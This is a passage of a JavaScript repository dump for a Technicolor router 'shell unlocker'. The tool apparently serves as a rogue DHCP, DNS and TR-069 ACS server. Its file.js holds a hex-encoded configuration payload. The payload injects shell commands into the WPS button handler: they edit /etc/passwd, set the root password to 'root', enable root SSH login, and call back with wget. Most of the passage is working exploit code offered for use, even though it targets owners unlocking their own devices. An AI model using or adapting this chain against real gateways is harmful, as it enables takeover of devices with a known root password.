| bitSlice = function(b, offset, length) { 14 | return b >>> 7 - (offset + length - 1) & ~(0xff << length); 15 | }; 16 | 17 | bufferify = function(ip) { 18 | if (isIPv6(ip)) { 19 | return bufferifyV6(ip); 20 | } else { 21 | return bufferifyV4(ip); 22 | } 23 | }; 24 | 25 | bufferifyV4 = function(ip) { 26 | var base, buf, i, result; 27 | ip = ip.split('.').map(function(n) { 28 | return parseInt(n, 10); 29 | }); 30 | result = 0; 31 | base = 1; 32 | i = ip.length - 1; 33 | while (i >= 0) { 34 | result += ip[i] * base; 35 | base *= 256; 36 | i--; 37 | } 38 | buf = Buffer.alloc(4); 39 | buf.writeUInt32BE(result); 40 | return buf; 41 | }; 42 | 43 | bufferifyV6 = function(rawIp) { 44 | var countColons, hexIp, ip; 45 | countColons = function(x) { 46 | var n; 47 | n = 0; 48 | x.replace(/:/g, function(c) { 49 | return n++; 50 | }); 51 | return n; 52 | }; 53 | ip = rawIp.replace(/\/\d{1,3}(?=%|$)/, '').replace(/%.*$/, ''); 54 | hexIp = ip.replace(/::/, function(two) { 55 | return ':' + Array(7 - countColons(ip) + 1).join(':') + ':'; 56 | }).split(':').map(function(x) { 57 | return Array(4 - x.length).fill('0').join('') + x; 58 | }).join(''); 59 | return Buffer.from(hexIp, 'hex'); 60 | }; 61 | 62 | domainify = function(qname) { 63 | var i, length, offset, parts; 64 | parts = []; 65 | i = 0; 66 | while (i < qname.length && qname[i]) { 67 | length = qname[i]; 68 | offset = i + 1; 69 | parts.push(qname.slice(offset, offset + length).toString()); 70 | i = offset + length; 71 | } 72 | return parts.join('.'); 73 | }; 74 | 75 | qnameify = function(domain) { 76 | var i, offset, qname; 77 | qname = Buffer.alloc(domain.length + 2); 78 | offset = 0; 79 | domain = domain.split('.'); 80 | i = 0; 81 | while (i < domain.length) { 82 | qname[offset] = domain[i].length; 83 | qname.write(domain[i], offset + 1, domain[i].length, 'ascii'); 84 | offset += qname[offset] + 1; 85 | i++; 86 | } 87 | qname[qname.length - 1] = 0; 88 | return qname; 89 | }; 90 | 91 | functionify = function(val) { 92 | return function(addr, callback) { 93 | return callback(null, val); 94 | }; 95 | }; 96 | 97 | parse = function(buf) { 98 | var b, header, question; 99 | header = {}; 100 | question = {}; 101 | b = buf.slice(2, 3).toString('binary', 0, 1).charCodeAt(0); 102 | header.id = buf.slice(0, 2); 103 | header.qr = bitSlice(b, 0, 1); 104 | header.opcode = bitSlice(b, 1, 4); 105 | header.aa = bitSlice(b, 5, 1); 106 | header.tc = bitSlice(b, 6, 1); 107 | header.rd = bitSlice(b, 7, 1); 108 | b = buf.slice(3, 4).toString('binary', 0, 1).charCodeAt(0); 109 | header.ra = bitSlice(b, 0, 1); 110 | header.z = bitSlice(b, 1, 3); 111 | header.rcode = bitSlice(b, 4, 4); 112 | header.qdcount = buf.slice(4, 6); 113 | header.ancount = buf.slice(6, 8); 114 | header.nscount = buf.slice(8, 10); 115 | header.arcount = buf.slice(10, 12); 116 | question.qname = buf.slice(12, buf.length - 4); 117 | question.qtype = buf.slice(buf.length - 4, buf.length - 2); 118 | question.qclass = buf.slice(buf.length - 2, buf.length); 119 | return { 120 | header: header, 121 | question: question 122 | }; 123 | }; 124 | 125 | responseBuffer = function(query) { 126 | var buf, header, i, length, offset, qname, question, rr; 127 | question = query.question; 128 | header = query.header; 129 | qname = question.qname; 130 | offset = 16 + qname.length; 131 | length = offset; 132 | i = 0; 133 | while (i < query.rr.length) { 134 | length += query.rr[i].qname.length + 10; 135 | i++; 136 | } 137 | buf = Buffer.alloc(length); 138 | header.id.copy(buf, 0, 0, 2); 139 | buf[2] = 0x00 | header.qr << 7 | header.opcode << 3 | header.aa << 2 | header.tc << 1 | header.rd; 140 | buf[3] = 0x00 | header.ra << 7 | header.z << 4 | header.rcode; 141 | buf.writeUInt16BE(header.qdcount, 4); 142 | buf.writeUInt16BE(header.ancount, 6); 143 | buf.writeUInt16BE(header.nscount, 8); 144 | buf.writeUInt16BE(header.arcount, 10); 145 | qname.copy(buf, 12); 146 | question.qtype.copy(buf, 12 + qname.length, question.qtype, 2); 147 | question.qclass.copy(buf, 12 + qname.length + 2, question.qclass, 2); 148 | i = 0; 149 | while (i < query.rr.length) { 150 | rr = query.rr[i]; 151 | rr.qname.copy(buf, offset); 152 | offset += rr.qname.length; 153 | buf.writeUInt16BE(rr.qtype, offset); 154 | buf.writeUInt16BE(rr.qclass, offset + 2); 155 | buf.writeUInt32BE(rr.ttl, offset + 4); 156 | buf.writeUInt16BE(rr.rdlength, offset + 8); 157 | buf = Buffer.concat([buf, rr.rdata]); 158 | offset += 14; 159 | i++; 160 | } 161 | return buf; 162 | }; 163 | 164 | response = function(query, ttl, to) { 165 | var header, question, rrs; 166 | response = {}; 167 | header = response.header = {}; 168 | question = response.question = {}; 169 | rrs = resolve(query.question.qname, ttl, to); 170 | header.id = query.header.id; 171 | header.ancount = rrs.length; 172 | header.qr = 1; 173 | header.opcode = 0; 174 | header.aa = 0; 175 | header.tc = 0; 176 | header.rd = 1; 177 | header.ra = 0; 178 | header.z = 0; 179 | header.rcode = 0; 180 | header.qdcount = 1; 181 | header.nscount = 0; 182 | header.arcount = 0; 183 | question.qname = query.question.qname; 184 | question.qtype = query.question.qtype; 185 | question.qclass = query.question.qclass; 186 | response.rr = rrs; 187 | return responseBuffer(response); 188 | }; 189 | 190 | resolve = function(qname, ttl, to) { 191 | var r; 192 | r = {}; 193 | r.qname = qname; 194 | r.qtype = to.length === 4 ? 1 : 28; 195 | r.qclass = 1; 196 | r.ttl = ttl; 197 | r.rdlength = to.length; 198 | r.rdata = to; 199 | return [r]; 200 | }; 201 | 202 | lookup = function(addr, callback) { 203 | if (net.isIP(addr)) { 204 | return callback(null, addr); 205 | } 206 | return dns.lookup(addr, callback); 207 | }; 208 | 209 | Server = (function(superClass) { 210 | extend(Server, superClass); 211 | 212 | function Server(proxy) { 213 | var routes; 214 | if (proxy == null) { 215 | proxy = '8.8.8.8'; 216 | } 217 | Server.__super__.constructor.apply(this, arguments); 218 | this._socket = createSocket(isIPv6(proxy) ? 'udp6' : 'udp4'); 219 | routes = []; 220 | this._socket.on('message', (function(_this) { 221 | return function(message, rinfo) { 222 | var domain, i, onerror, onproxy, query, respond, route, routeData; 223 | query = parse(message); 224 | domain = domainify(query.question.qname); 225 | routeData = { 226 | domain: domain, 227 | rinfo: rinfo 228 | }; 229 | _this.emit('resolve', routeData); 230 | respond = function(buf) { 231 | return _this._socket.send(buf, 0, buf.length, rinfo.port, rinfo.address); 232 | }; 233 | onerror = function(err) { 234 | return _this.emit('error', err); 235 | }; 236 | onproxy = function() { 237 | var sock; 238 | sock = createSocket(isIPv6(proxy) ? 'udp6' : 'udp4'); 239 | sock.send(message, 0, message.length, 53, proxy); 240 | sock.on('error', onerror); 241 | return sock.on('message', function(response) { 242 | respond(response); 243 | return sock.close(); 244 | }); 245 | }; 246 | i = 0; 247 | while (i < routes.length) { 248 | if (routes[i].pattern.test(domain)) { 249 | route = routes[i].route; 250 | break; 251 | } 252 | i++; 253 | } 254 | if (!route) { 255 | return onproxy(); 256 | } 257 | return route(routeData, function(err, to) { 258 | var toIp, ttl; 259 | if (typeof to === 'string') { 260 | toIp = to; 261 | ttl = 1; 262 | } else { 263 | toIp = to.ip; 264 | ttl = to.ttl; 265 | } 266 | if (err) { 267 | return onerror(err); 268 | } 269 | if (!toIp) { 270 | return onproxy(); 271 | } 272 | return lookup(toIp, function(err, addr) { 273 | if (err) { 274 | return onerror(err); 275 | } 276 | _this.emit('route', domain, addr); 277 | return respond(response(query, ttl, bufferify(addr))); 278 | }); 279 | }); 280 | }; 281 | })(this)); 282 | } 283 | 284 | Server.prototype.route = function(pattern, route) { 285 | if (Array.isArray(pattern)) { 286 | pattern.forEach((function(_this) { 287 | return function(item) { 288 | return _this.route(item, route); 289 | }; 290 | })(this)); 291 | return this; 292 | } 293 | if (typeof pattern === 'function') { 294 | return this.route('*', pattern); 295 | } 296 | if (typeof route === 'string') { 297 | return this.route(pattern, functionify(route)); 298 | } 299 | pattern = pattern === '*' ? /.?/ : new RegExp('^' + pattern.replace(/\./g, '\\.').replace(/\*\\\./g, '(.+)\\.') + '$', 'i'); 300 | routes.push({ 301 | pattern: pattern, 302 | route: route 303 | }); 304 | return this; 305 | }; 306 | 307 | Server.prototype.listen = function(port) { 308 | this._socket.bind(port || 53); 309 | return this; 310 | }; 311 | 312 | Server.prototype.close = function(callback) { 313 | this._socket.close(callback); 314 | return this; 315 | }; 316 | 317 | return Server; 318 | 319 | })(EventEmitter); 320 | -------------------------------------------------------------------------------- /dist/get-port.js: -------------------------------------------------------------------------------- 1 | var args, createServer; 2 | 3 | createServer = require('net').createServer; 4 | 5 | args = require('./args'); 6 | 7 | module.exports = function() { 8 | return new Promise(function(resolve, reject) { 9 | var server; 10 | if (args.port) { 11 | return resolve(args.port); 12 | } 13 | server = createServer(); 14 | server.unref(); 15 | server.on('error', reject); 16 | return server.listen(0, function() { 17 | var port; 18 | port = server.address().port; 19 | return server.close(function() { 20 | return resolve(port); 21 | }); 22 | }); 23 | }); 24 | }; 25 | -------------------------------------------------------------------------------- /dist/http/cwmp/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | var args, createSoapEnv, device, env, file, fileTypes, finished, methods, parse, ref, request, response, set, stage; 3 | 4 | ref = require('./xml'), parse = ref.parse, methods = ref.methods, createSoapEnv = ref.createSoapEnv, fileTypes = ref.fileTypes; 5 | 6 | file = require('../file'); 7 | 8 | args = require('../../args'); 9 | 10 | stage = null; 11 | 12 | device = {}; 13 | 14 | env = []; 15 | 16 | finished = false; 17 | 18 | set = function(obj, key, value) { 19 | var attr, attrs, i, j, len; 20 | attrs = key.split('.'); 21 | for (i = j = 0, len = attrs.length; j < len; i = ++j) { 22 | attr = attrs[i]; 23 | if (i === attrs.length - 1) { 24 | obj[attr] = value; 25 | } else { 26 | obj = obj[attr] != null ? obj[attr] : obj[attr] = {}; 27 | } 28 | } 29 | return obj; 30 | }; 31 | 32 | request = function(url, req, res) { 33 | var body, cwmp, cwmpVersion, element, header, idElement, input, k, key, params, ref1, ref2, ref3, ref4, ref5, str, v, value, xml; 34 | if (req.body.length > 0) { 35 | console.log('>>> REQUEST'); 36 | console.dir([req.headers, req.body]); 37 | xml = parse(req.body); 38 | element = xml['soapenv:Envelope']; 39 | body = element['soapenv:Body']; 40 | header = element['soapenv:Header']; 41 | ref1 = element.attributes; 42 | for (k in ref1) { 43 | v = ref1[k]; 44 | if (!((k != null) && (v != null))) { 45 | return; 46 | } 47 | str = k.replace('soapenv', 'soap-env') + '=\'' + v + '\''; 48 | if (env.indexOf(str) === -1) { 49 | env.push(str); 50 | } 51 | } 52 | res.name = stage = Object.keys(body)[0]; 53 | cwmp = (ref2 = element.attributes) != null ? ref2['xmlns:cwmp'] : void 0; 54 | ref3 = /urn:dslforum-org:cwmp-(\d+-\d+)/.exec(cwmp) || [cwmp, '1-2'], input = ref3[0], cwmpVersion = ref3[1]; 55 | res.cwmpVersion = cwmpVersion.replace(/-/g, '.'); 56 | idElement = header['cwmp:ID']; 57 | if (idElement) { 58 | res.id = req.id = idElement; 59 | } 60 | ref4 = body[stage]; 61 | for (key in ref4) { 62 | value = ref4[key]; 63 | res[key] = value; 64 | } 65 | if (((ref5 = res.ParameterList) != null ? ref5.ParameterValueStruct : void 0) != null) { 66 | params = res.ParameterList.ParameterValueStruct; 67 | res.params = Object.keys(params).reduce(function(obj, k) { 68 | if (typeof params[k] === 'string') { 69 | set(obj, k, params[k]); 70 | } 71 | return obj; 72 | }, {}); 73 | device = res.params.Device || res.params.InternetGatewayDevice || {}; 74 | } 75 | res.name += 'Response'; 76 | } else if (stage === 'cwmp:Inform') { 77 | console.log('>>> EMPTY REQUEST'); 78 | console.dir([req.headers, req.body]); 79 | res.name = 'cwmp:Download'; 80 | if (args.fileType && (fileTypes[args.fileType] != null)) { 81 | res.fileType = fileTypes[args.fileType]; 82 | } else { 83 | res.fileType = (function() { 84 | switch (file.ext) { 85 | case '.rbi': 86 | return '1 Firmware Upgrade Image'; 87 | case '.sts': 88 | return '3 Vendor Configuration File'; 89 | } 90 | })(); 91 | } 92 | res.fileSize = file.data.length; 93 | res.url = "" + url + file.name; 94 | } 95 | res.env = env.join(' '); 96 | return response(res); 97 | }; 98 | 99 | response = function(res) { 100 | var code, data, headers; 101 | headers = { 102 | 'Content-Type': 'text/xml; charset="utf-8"', 103 | 'Server': 'ACSServer', 104 | 'SOAPServer': 'ACSServer' 105 | }; 106 | code = 404; 107 | data = null; 108 | if (res.name && (methods[res.name] != null)) { 109 | if (res.id == null) { 110 | res.id = '1690d26c77f0000'; 111 | } 112 | data = createSoapEnv(res, headers); 113 | code = 200; 114 | headers['Content-Length'] = data.length; 115 | if (res.name === 'cwmp:TransferCompleteResponse') { 116 | finished = true; 117 | } 118 | } else if (finished) { 119 | code = 204; 120 | headers['Connection'] = "close"; 121 | headers['Content-Length'] = 0; 122 | console.log('<<< EMPTY RESPONSE'); 123 | } 124 | console.dir([code, headers, data]); 125 | res.writeHead(code, headers); 126 | res.end(data); 127 | }; 128 | 129 | module.exports = function(url) { 130 | return function(req, res) { 131 | var COOKIE_REGEX, match; 132 | COOKIE_REGEX = /\s*([a-zA-Z0-9\-_]+?)\s*=\s*"?([a-zA-Z0-9\-_]*?)"?\s*(,|;|$)/g; 133 | while (match = COOKIE_REGEX.exec(req.headers.cookie)) { 134 | if (match[1] === 'session') { 135 | res.id = match[2]; 136 | } 137 | } 138 | req.body = ''; 139 | req.on('data', function(chunk) { 140 | return req.body += chunk; 141 | }); 142 | req.on('end', function() { 143 | return request(url, req, res); 144 | }); 145 | }; 146 | }; 147 | -------------------------------------------------------------------------------- /dist/http/cwmp/xml.js: -------------------------------------------------------------------------------- 1 | var methods; 2 | 3 | exports.parse = function(xml) { 4 | var attribute, content, declaration, eos, has, match, name, obj, obj1, ref, tag; 5 | declaration = function() { 6 | var attr, m, node; 7 | m = match(/^<\?xml\s*/); 8 | if (!m) { 9 | return; 10 | } 11 | node = {}; 12 | while (!(eos() || has('?>'))) { 13 | attr = attribute(); 14 | if (!attr) { 15 | return node; 16 | } 17 | if (node.attributes == null) { 18 | node.attributes = {}; 19 | } 20 | node.attributes[attr.name] = attr.value; 21 | } 22 | match(/\?>\s*/); 23 | return node; 24 | }; 25 | tag = function() { 26 | var attr, c, child, m, name1, node; 27 | m = match(/^<([\w-:.]+)\s*/); 28 | if (!m) { 29 | return; 30 | } 31 | node = {}; 32 | while (!(eos() || has('>') || has('?>') || has('/>'))) { 33 | attr = attribute(); 34 | if (!attr) { 35 | return [m[1], node]; 36 | } 37 | if (node.attributes == null) { 38 | node.attributes = {}; 39 | } 40 | node.attributes[attr.name] = attr.value; 41 | } 42 | if (match(/^\s*\/>\s*/)) { 43 | return [m[1], node]; 44 | } 45 | match(/\??>\s*/); 46 | c = content(); 47 | if (c) { 48 | node = c; 49 | } 50 | while (child = tag()) { 51 | if (child[1].Name && child[1].Value) { 52 | if (node[name1 = child[0]] == null) { 53 | node[name1] = {}; 54 | } 55 | node[child[0]][child[1].Name] = child[1].Value; 56 | } else { 57 | node[child[0]] = child[1]; 58 | } 59 | } 60 | match(/^<\/[\w-:.]+>\s*/); 61 | return [m[1], node]; 62 | }; 63 | content = function() { 64 | var m; 65 | m = match(/^([^<]*)/); 66 | return m != null ? m[1] : void 0; 67 | }; 68 | attribute = function() { 69 | var m; 70 | m = match(/([\w:-]+)\s*=\s*("[^"]*"|'[^']*'|\w+)\s*/); 71 | if (!m) { 72 | return; 73 | } 74 | return { 75 | name: m[1], 76 | value: m[2].replace(/^['"]|['"]$/g, '') 77 | }; 78 | }; 79 | match = function(re) { 80 | var m; 81 | m = xml.match(re); 82 | if (!m) { 83 | return; 84 | } 85 | xml = xml.slice(m[0].length); 86 | return m; 87 | }; 88 | eos = function() { 89 | return !xml.length; 90 | }; 91 | has = function(prefix) { 92 | return 0 === xml.indexOf(prefix); 93 | }; 94 | xml = xml.trim(); 95 | xml = xml.replace(//g, ''); 96 | ref = tag(), name = ref[0], obj = ref[1]; 97 | return ( 98 | obj1 = {}, 99 | obj1["" + name] = obj, 100 | obj1 101 | ); 102 | }; 103 | 104 | exports.methods = methods = { 105 | 'cwmp:TransferCompleteResponse': function(res) { 106 | var h, i, ref, w; 107 | i = 0; 108 | ref = process.stdout.getWindowSize(), h = ref[0], w = ref[1]; 109 | while (i++ < w) { 110 | console.log('\u000d\n'); 111 | } 112 | console.log("\n*** PRESS AND HOLD THE WPS BUTTON ON YOUR GATEWAY ***\n"); 113 | console.log("### WAITING FOR WPS CALLBACK"); 114 | return ""; 115 | }, 116 | 'cwmp:Download': function(res) { 117 | return "\n " + (res.commandKey || res.id) + "\n " + res.fileType + "\n " + res.url + "\n " + (res.fileSize || 0) + "\n 0\n"; 118 | }, 119 | 'cwmp:InformResponse': function(res, headers) { 120 | headers['Set-Cookie'] = "session=7b0fa33078153e5c"; 121 | return "\n 1\n"; 122 | } 123 | }; 124 | 125 | exports.createSoapEnv = function(res, headers) { 126 | return "\n\n \n " + res.id + "\n \n \n " + (methods[res.name](res, headers)) + "\n \n"; 127 | }; 128 | 129 | exports.fileTypes = { 130 | 1: '1 Firmware Upgrade Image', 131 | 2: '2 Web Content', 132 | 3: '3 Vendor Configuration File', 133 | 4: '4 Tone File', 134 | 5: '5 Ringer File' 135 | }; 136 | -------------------------------------------------------------------------------- /dist/http/file.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: 'file.sts', 3 | data: Buffer.from('7265626f6f74206f66660a73657420627574746f6e2e7770732e68616e646c65723d22736564202d69202773232f726f6f743a2e2a24232f726f6f743a2f62696e2f6173682327202f6574632f706173737764202626206563686f20726f6f743a726f6f74207c20636870617373776420262620736564202d692e736176652027732f232f2f27202f6574632f696e697474616220262620756369206164642064726f70626561722064726f7062656172202626207563692072656e616d652064726f70626561722e4064726f70626561725b2d315d3d61666720262620756369207365742064726f70626561722e6166672e656e61626c653d27312720262620756369207365742064726f70626561722e6166672e496e746572666163653d276c616e2720262620756369207365742064726f70626561722e6166672e506f72743d2732322720262620756369207365742064726f70626561722e6166672e49646c6554696d656f75743d273630302720262620756369207365742064726f70626561722e6166672e50617373776f7264417574683d276f6e2720262620756369207365742064726f70626561722e6166672e526f6f7450617373776f7264417574683d276f6e2720262620756369207365742064726f70626561722e6166672e526f6f744c6f67696e3d2731272026262075636920636f6d6d69742064726f7062656172202626202f6574632f696e69742e642f64726f706265617220656e61626c65202626202f6574632f696e69742e642f64726f70626561722072657374617274202626207563692073657420627574746f6e2e7770732e68616e646c65723d277770735f627574746f6e5f707265737365642e7368272026262075636920636f6d6d69742026262077676574207b7b75726c7d7d646f6e65207c7c207472756522', 'hex') 4 | }; 5 | -------------------------------------------------------------------------------- /dist/http/index.js: -------------------------------------------------------------------------------- 1 | var Duplex, args, createServer, cwmp, existsSync, file, path, readFileSync, ref, route, statSync; 2 | 3 | Duplex = require('stream').Duplex; 4 | 5 | createServer = require('http').createServer; 6 | 7 | ref = require('fs'), readFileSync = ref.readFileSync, existsSync = ref.existsSync, statSync = ref.statSync; 8 | 9 | path = require('path'); 10 | 11 | file = require('./file'); 12 | 13 | route = require('./router'); 14 | 15 | args = require('../args'); 16 | 17 | cwmp = require('./cwmp'); 18 | 19 | module.exports = function(ip, port, url) { 20 | var e, srv; 21 | if (args.file) { 22 | file.name = path.basename(args.file); 23 | try { 24 | file.data = readFileSync(args.file); 25 | } catch (error) { 26 | e = error; 27 | throw e; 28 | } 29 | } 30 | file.data = Buffer.from(file.data).toString('utf8').replace('{{url}}', url, 'utf8'); 31 | file.ext = path.extname(file.name); 32 | route.get("/" + file.name, function(req, res) { 33 | var ext, headers, stream; 34 | ext = file.ext.toUpperCase(); 35 | console.log(">>> " + ext + " REQUEST"); 36 | headers = { 37 | 'Content-Type': 'text/plain', 38 | 'Content-Length': file.data.length 39 | }; 40 | console.log('>>> #{ ext } RESPONSE'); 41 | console.dir([headers, file.data.toString('utf8')]); 42 | res.writeHead(200, headers); 43 | stream = new Duplex(); 44 | stream.push(file.data); 45 | stream.push(null); 46 | return stream.pipe(res); 47 | }).get('/done', function(req, res) { 48 | console.log('>>> WPS CALLBACK'); 49 | console.log("\n\nAll done,\n\n- change network card settings back to dhcp and move the cable back to a lan port\n- try ssh connection to the gateways ip (usually 192.168.0.1) with username root and password root (change password immediately with passwd!)\n\nssh root@192.168.0.1"); 50 | setTimeout(function() { 51 | return process.exit(1); 52 | }, 20000); 53 | res.writeHead(200); 54 | return res.end(); 55 | }).post('/', cwmp(url)); 56 | srv = createServer(route); 57 | srv.keepAliveTimeout = 30000; 58 | srv.on('error', function(e) { 59 | var ref1; 60 | if ((ref1 = e.code) === 'EADDRINUSE' || ref1 === 'EADDRNOTAVAIL') { 61 | console.log(e.code + ', retrying...'); 62 | return setTimeout(function() { 63 | srv.close(); 64 | return srv.listen(port); 65 | }, 1000); 66 | } else { 67 | return console.error(e); 68 | } 69 | }); 70 | srv.listen(port); 71 | return srv; 72 | }; 73 | -------------------------------------------------------------------------------- /dist/http/router.js: -------------------------------------------------------------------------------- 1 | var HTTP_METHODS, METHODS, decode, error, formatter, matcher, noop, param, router, str; 2 | 3 | param = function(val) { 4 | return function(map) { 5 | return map[val]; 6 | }; 7 | }; 8 | 9 | str = function(val) { 10 | return function() { 11 | return val; 12 | }; 13 | }; 14 | 15 | formatter = function(format) { 16 | if (!format) { 17 | return null; 18 | } 19 | format = format.replace(/\{\*\}/g, '*').replace(/\*/g, '{*}').replace(/:(\w+)/g, '{$1}'); 20 | format = format.match(/(?:[^\{]+)|(?:{[^\}]+\})/g).map(function(item) { 21 | if (item[0] !== '{') { 22 | return str(item); 23 | } else { 24 | return param(item.substring(1, item.length - 1)); 25 | } 26 | }); 27 | return function(params) { 28 | return format.reduce(function(result, item) { 29 | return result + item(params); 30 | }, ''); 31 | }; 32 | }; 33 | 34 | decode = function(str) { 35 | var err; 36 | try { 37 | return decodeURIComponent(str); 38 | } catch (error1) { 39 | err = error1; 40 | return str; 41 | } 42 | }; 43 | 44 | matcher = function(pattern) { 45 | var keys; 46 | if (typeof pattern !== 'string') { 47 | return function(url) { 48 | return url.match(pattern); 49 | }; 50 | } 51 | keys = []; 52 | pattern = pattern.replace(/:(\w+)/g, '{$1}').replace('{*}', '*'); 53 | pattern = pattern.replace(/(\/)?(\.)?\{([^}]+)\}(?:\(([^)]*)\))?(\?)?/g, function(match, slash, dot, key, capture, opt, offset) { 54 | var incl; 55 | incl = (pattern[match.length + offset] || '/') === '/'; 56 | keys.push(key); 57 | return (incl ? '(?:' : '') + (slash || '') + (incl ? '' : '(?:') + (dot || '') + '(' + (capture || '[^/]+') + '))' + (opt || ''); 58 | }); 59 | pattern = pattern.replace(/([\/.])/g, '\\$1').replace(/\*/g, '(.+)'); 60 | pattern = new RegExp('^' + pattern + '[\\/]?$', 'i'); 61 | return function(str) { 62 | var map, match; 63 | match = str.match(pattern); 64 | if (!match) { 65 | return match; 66 | } 67 | map = {}; 68 | match.slice(1).forEach(function(param, i) { 69 | var k; 70 | k = keys[i] = keys[i] || 'wildcard'; 71 | param = param && decode(param); 72 | return map[k] = map[k] ? [].concat(map[k]).concat(param) : param; 73 | }); 74 | if (map.wildcard) { 75 | map['*'] = map.wildcard; 76 | } 77 | return map; 78 | }; 79 | }; 80 | 81 | METHODS = ['get', 'post', 'put', 'del', 'delete', 'head', 'options']; 82 | 83 | HTTP_METHODS = ['GET', 'POST', 'PUT', 'DELETE', 'DELETE', 'HEAD', 'OPTIONS']; 84 | 85 | noop = function() {}; 86 | 87 | error = function(res) { 88 | return function() { 89 | res.statusCode = 404; 90 | res.end(); 91 | }; 92 | }; 93 | 94 | router = function() { 95 | var methods, route, traps; 96 | methods = {}; 97 | traps = {}; 98 | HTTP_METHODS.forEach(function(method) { 99 | return methods[method] = []; 100 | }); 101 | route = function(req, res, next) { 102 | var i, index, lp, method, trap, url; 103 | method = methods[req.method]; 104 | trap = traps[req.method]; 105 | index = req.url.indexOf('?'); 106 | url = index === -1 ? req.url : req.url.substr(0, index); 107 | i = 0; 108 | next = next || error(res); 109 | if (!method) { 110 | return next(); 111 | } 112 | lp = function(err) { 113 | if (err) { 114 | return next(err); 115 | } 116 | while (i < method.length) { 117 | route = method[i]; 118 | i++; 119 | req.params = route.pattern(url); 120 | if (!req.params) { 121 | continue; 122 | } 123 | if (route.rewrite) { 124 | req.url = url = route.rewrite(req.params) + (index === -1 ? '' : req.url.substr(index)); 125 | } 126 | route.fn(req, res, lp); 127 | return; 128 | } 129 | if (!trap) { 130 | return next(); 131 | } 132 | trap(req, res, next); 133 | }; 134 | lp(); 135 | }; 136 | METHODS.forEach(function(method, i) { 137 | route[method] = function(pattern, rewrite, fn) { 138 | if (Array.isArray(pattern)) { 139 | pattern.forEach(function(item) { 140 | return route[method](item, rewrite, fn); 141 | }); 142 | } 143 | if (!fn && !rewrite) { 144 | return route[method](null, null, pattern); 145 | } 146 | if (!fn && typeof rewrite === 'string') { 147 | return route[method](pattern, rewrite, route); 148 | } 149 | if (!fn && typeof rewrite === 'function') { 150 | return route[method](pattern, null, rewrite); 151 | } 152 | if (!fn) { 153 | return route; 154 | } 155 | (route.onmount || noop)(pattern, rewrite, fn); 156 | if (!pattern) { 157 | traps[HTTP_METHODS[i]] = fn; 158 | return route; 159 | } 160 | methods[HTTP_METHODS[i]].push({ 161 | pattern: matcher(pattern), 162 | rewrite: formatter(rewrite), 163 | fn: fn 164 | }); 165 | return route; 166 | }; 167 | }); 168 | route.all = function(pattern, rewrite, fn) { 169 | METHODS.forEach(function(method) { 170 | return route[method](pattern, rewrite, fn); 171 | }); 172 | return route; 173 | }; 174 | return route; 175 | }; 176 | 177 | module.exports = router(); 178 | -------------------------------------------------------------------------------- /dist/index.js: -------------------------------------------------------------------------------- 1 | var args, ask, dhcpd, httpd, ip, pkg, port, rl, servers, tftp; 2 | 3 | pkg = require('../package.json'); 4 | 5 | args = require('./args'); 6 | 7 | ip = args.ip || '58.162.0.1'; 8 | 9 | console.log("Technicolor OpenWRT Shell Unlocker v" + pkg.version + " By BoLaMN\n\n* Connect network cable from your computer to the WAN (red) port of the modem\n* Change your computers network card to be a static ip address\n\n IPv4 Address: " + ip + "\n Subnet Mask: 255.255.255.0\n Default Gateway\\Router: " + ip + "\n"); 10 | 11 | ask = require('./ask'); 12 | 13 | dhcpd = require('./dhcp'); 14 | 15 | httpd = require('./http'); 16 | 17 | port = require('./get-port'); 18 | 19 | tftp = require('./tftp'); 20 | 21 | servers = []; 22 | 23 | if (args.tftp) { 24 | servers.push.apply(servers, tftp(args)); 25 | } else if (args.dhcponly) { 26 | servers.push(dhcpd(ip, args.acsurl, args.acspass)); 27 | } else { 28 | ask(ip).then(port).then(function(p) { 29 | var u, url; 30 | u = new URL(args.acsurl || ("http://" + ip)); 31 | u.port = p; 32 | url = u.toString(); 33 | console.log("listening for cwmp requests at " + url); 34 | servers.push(dhcpd(ip, url, args.acspass)); 35 | return servers.push(httpd(ip, p, url)); 36 | }); 37 | } 38 | 39 | if (process.platform === 'win32') { 40 | rl = require('readline').createInterface({ 41 | input: process.stdin, 42 | output: process.stdout 43 | }); 44 | rl.on('SIGINT', function() { 45 | return process.emit('SIGINT'); 46 | }); 47 | } 48 | 49 | process.on('SIGINT', function() { 50 | console.log("\nshutting down servers from SIGINT (Ctrl+C)"); 51 | servers.forEach(function(server) { 52 | return server.close(); 53 | }); 54 | return setTimeout(function() { 55 | return process.exit(); 56 | }, 2000); 57 | }); 58 | -------------------------------------------------------------------------------- /dist/ips.js: -------------------------------------------------------------------------------- 1 | var networkInterfaces; 2 | 3 | networkInterfaces = require('os').networkInterfaces; 4 | 5 | module.exports = function() { 6 | var addr, address, base, details, family, i, internal, k, len, name, obj, ref, ref1, s, t, v; 7 | addr = []; 8 | obj = {}; 9 | ref = networkInterfaces(); 10 | for (name in ref) { 11 | details = ref[name]; 12 | if (obj[name] == null) { 13 | obj[name] = {}; 14 | } 15 | for (i = 0, len = details.length; i < len; i++) { 16 | ref1 = details[i], family = ref1.family, internal = ref1.internal, address = ref1.address; 17 | if (!internal) { 18 | if (!address.startsWith('2001')) { 19 | if ((base = obj[name])[family] == null) { 20 | base[family] = []; 21 | } 22 | obj[name][family].push({ 23 | name: name, 24 | address: address, 25 | family: family 26 | }); 27 | } 28 | } 29 | } 30 | } 31 | for (k in obj) { 32 | v = obj[k]; 33 | if (v.IPv4 != null) { 34 | for (s in v) { 35 | t = v[s]; 36 | addr.push.apply(addr, t); 37 | } 38 | } 39 | } 40 | return addr; 41 | }; 42 | -------------------------------------------------------------------------------- /dist/ntp/client.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | var EventEmitter, NTP, Packet, createSocket, 3 | extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, 4 | hasProp = {}.hasOwnProperty; 5 | 6 | Packet = require('./packet'); 7 | 8 | createSocket = require('dgram').createSocket; 9 | 10 | EventEmitter = require('events').EventEmitter; 11 | 12 | NTP = (function(superClass) { 13 | extend(NTP, superClass); 14 | 15 | function NTP(options, callback) { 16 | if (typeof options === 'function') { 17 | callback = options; 18 | options = {}; 19 | } 20 | Object.assign(this, { 21 | server: '127.0.0.1', 22 | port: 123 23 | }, options); 24 | this.socket = new createSocket('udp4'); 25 | if (typeof callback === 'function') { 26 | this.time(callback); 27 | } 28 | } 29 | 30 | NTP.prototype.time = function(callback) { 31 | var packet, port, ref, 